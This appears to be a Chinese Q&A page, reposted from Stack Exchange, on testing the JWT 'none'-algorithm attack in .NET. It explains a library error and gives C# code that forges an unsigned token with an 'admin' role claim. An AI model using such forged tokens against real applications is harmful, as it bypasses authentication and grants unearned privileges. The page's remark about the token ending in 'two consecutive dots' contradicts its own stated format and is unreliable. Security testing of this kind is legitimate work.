You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何创建算法为"none"的JWT?代码报错无法生成SignatureProvider

JWT "none"算法攻击测试:报错原因与正确实现方案

原代码报错原因

你遇到的“Unable to create the SignatureProvider”错误,本质是因为**"none"算法不需要签名**,但原代码中可能传入了常规的SigningCredentials(比如HMAC、RSA类型的凭证)。JWT库会根据你指定的凭证尝试创建对应的签名提供者,但"none"算法没有与之匹配的签名逻辑,因此库无法找到合适的提供者,最终抛出该错误。

正确实现方案

要生成符合规范的"none"算法JWT,核心是明确告知JWT库不需要签名,具体实现如下:

代码示例(使用System.IdentityModel.Tokens.Jwt库)

using System.IdentityModel.Tokens.Jwt;
using System.Security.Claims;
using Microsoft.IdentityModel.Tokens;

// 构造测试用的Claims
var testClaims = new[]
{
    new Claim(ClaimTypes.NameIdentifier, "123"),
    new Claim(ClaimTypes.Role, "admin")
};

// 1. 手动设置Header的alg为"none"
var jwtHeader = new JwtHeader { { "alg", "none" } };
// 2. 构造Payload
var jwtPayload = new JwtPayload(
    issuer: "your-test-issuer",
    audience: "your-test-audience",
    claims: testClaims,
    expires: DateTime.UtcNow.AddMinutes(30)
);

// 3. 创建无签名的JWT令牌
var securityToken = new JwtSecurityToken(jwtHeader, jwtPayload);
var tokenHandler = new JwtSecurityTokenHandler();
// 生成最终的JWT字符串(末尾会有两个连续的点,代表空签名部分,符合规范)
var noneAlgorithmJwt = tokenHandler.WriteToken(securityToken);

Console.WriteLine(noneAlgorithmJwt);

简化写法(自动处理空签名)

如果你使用JwtSecurityToken的重载构造函数,直接传入signingCredentials: null,部分版本的库会自动将Header的alg设为"none",但保险起见建议手动指定:

var securityToken = new JwtSecurityToken(
    issuer: "your-test-issuer",
    audience: "your-test-audience",
    claims: testClaims,
    expires: DateTime.UtcNow.AddMinutes(30),
    signingCredentials: null // 关键:传入null表示不需要签名
);
// 手动确保alg设置正确
securityToken.Header["alg"] = "none";

var tokenHandler = new JwtSecurityTokenHandler();
var noneAlgorithmJwt = tokenHandler.WriteToken(securityToken);

关键注意点

  • 生成的"none"算法JWT格式为[Header].[Payload].(末尾有一个空的签名段,用两个点标识),这是JWT规范允许的格式。
  • 测试目标应用时,需确认应用未对JWT的签名进行强制验证,且允许"none"算法作为有效签名算法。

内容的提问来源于stack exchange,提问作者Sandy

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.21 17:53:12